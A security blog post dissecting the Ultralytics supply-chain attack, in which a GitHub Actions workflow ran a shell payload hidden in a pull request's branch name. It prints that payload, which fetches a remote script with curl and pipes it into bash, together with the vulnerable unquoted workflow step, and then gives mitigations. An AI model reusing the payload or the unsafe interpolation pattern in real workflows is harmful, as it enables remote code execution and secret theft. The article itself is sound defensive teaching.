Happy Halloween! For this holiday, it feels only fitting to talk about something that can haunt your supply chain: dangerous Git ref names.
If you attended my GitHub Universe 2025 session (Threats from the Shadows), you saw a shocking branch name. It was not just clever – it was weaponized. It let an attacker run arbitrary code in a GitHub Actions workflow, stealing secrets and poisoning caches. Even scarier – it was not speculative; it mirrors what happened to Ultralytics in December 2024.
What actually happened
In December 2024 the Ultralytics Python project was hit by a supply chain attack that produced poisoned PyPI releases. The attack relied on unauthorized code being executed by their Actions workflow, letting an attacker publish a modified Python package that quietly ran a hidden cryptominer.
The attack relied on a malicious pull request. The PR used a branch name that looked like this:
1$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)At first glance, it looks like noise. In reality, it is a Bash payload wrapped in a Git ref. The attackers knew about a weakness in one of the workflows, and this branch name took advantage of it. Because the workflow did not treat user-provided branch names as untrusted input, it became the perfect vector for command injection.
Dissecting the malicious ref
Let me break down the pieces so you can see how this works. The leading $( begins a command substitution, telling the shell to run everything inside and replace it with the result. Inside that, the brace expansion {curl,-sSfL,raw.githubusercontent.com/.../file.sh} becomes a space-separated curl command and its arguments. This creates a silent, fail‑fast download of a remote script. Since whitespace is not allowed in a branch name, the special environment variable IFS (Internal Field Separator) injects whitespace before and after the pipe (|). Running all of this together streams the downloaded script straight into bash for execution. The attacker built an entire command inside a single Git ref name using only supported characters.
Put together, that becomes something like this:
1curl -sSfL https://raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh | bashThe remote script then contained the attacker’s code to steal secrets and poison the package build. This gave them a path to compromise multiple builds and releases, tainting the PyPI package that Ultralytics published. By itself, it’s just a clever trick. But when combined with an unsafe workflow step, it becomes a serious vulnerability.
How a workflow turns this into execution
Developers often write steps like this to update a branch:
1- run: echo "Processing the branch ${{ github.ref_name }} ..."GitHub Actions evaluates expressions like ${{ github.ref_name }} and then replaces that content with the expression results. This is then sent to the runner to execute. There is no shell escaping or encoding added; the raw string replaces the expression verbatim. If that string contains shell metacharacters (like $( or |), and you place it unquoted inside a run: line, the shell will interpret them.
In the Ultralytics workflow, they had a step to pull the branch being built:
1run: git pull origin ${{ github.head_ref || github.ref }}When the malicious pull request was processed, the branch name text was dropped straight into that command. The runner then executes the provided command line. A simple ref expansion changed the nature of the code execution. In the context of the pull request, github.head_ref became the branch name supplied by the contributor. The final interpreted script looked like this:
1git pull origin $({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)Bash sees git pull origin $(...) and executes the payload, downloading and piping the attacker’s script into bash. At that point, the attacker’s code runs with the permissions of the workflow, giving it access to the cache and the repository. By the time the output of the script is added to the end of the command git pull origin, the attack has successfully completed.
Why this works
Git ref names are treated as opaque strings by Git, but your shell does not know that. When you inject a ref name unquoted into a shell command, Bash interprets special characters ($(), ${}, {}) and operators (|). The attacker abused this behavior to take control of the system. This is not a bug in GitHub Actions; it is a consequence of how shells work. Any untrusted input passed to a shell command can lead to command injection if not handled carefully. Sadly, the workflow file had multiple opportunities for exploitation; this was just the one the attacker chose.
Mitigating the risk
This attack might have been avoided by putting the branch name in an environment variable. That forces Bash to treat it as a simple string, not code that might need expansion and execution. For example, using this pattern adds an extra layer of safety:
1env:
2 SAFE_REF: ${{ github.head_ref || github.ref }}
3run: git pull origin "$SAFE_REF"Under the hood, this design makes calling an action safer than directly calling a script. The input values (with) for actions always pass as environment variables to prevent accidental command injection. That doesn’t mean you should blindly trust action inputs. It’s just part of how GitHub helps make sure scripts inside the action are safely invoked.
It is not just outside contributors
You might think “I will just watch for suspicious branches from strangers”. That is only part of the story. A compromised dependency or a malicious package in your build chain can have enough access (via a stolen token, overly broad GITHUB_TOKEN permissions, or a cached credential) to create a branch and open a pull request on your behalf. If your build scripts automatically grant write or PR privileges, the attacker does not even need to be an external user. They just need to exploit code you already trust. From there, the same ref name tricks apply and the payload hides inside normal automation.
This is why you have to secure all of the code that runs in CI: application source, build scripts, helper utilities, and any third‑party actions or packages. Treat them as part of your attack surface. Least privilege tokens, reviewed updates, provenance checks (signatures, checksums, SBOM validation), and periodic dependency auditing reduce the chance a hidden backdoor will quietly stage its own malicious PR.
Final summary
Malicious Git ref names turn naive string interpolation into remote code execution. The Ultralytics incident showed how a single cleverly constructed branch name helped poison releases and deliver a cryptominer. The core lessons are straightforward:
- Never use untrusted text directly in a shell.
- Always use caution when interacting with user-provided values and content.
- Prefer environment variables (or action inputs) rather than inline GitHub expressions.
- Apply the same scrutiny to build scripts and dependencies as you do to application code.
- Use least privilege tokens and separation of processes to limit the blast radius of a successful injection.
If you harden those areas, a weaponized branch name becomes just an odd string instead of a foothold. Take a few minutes today to skim your workflows for unquoted expressions. That small investment can save you from silently shipping someone else’s malware tomorrow.
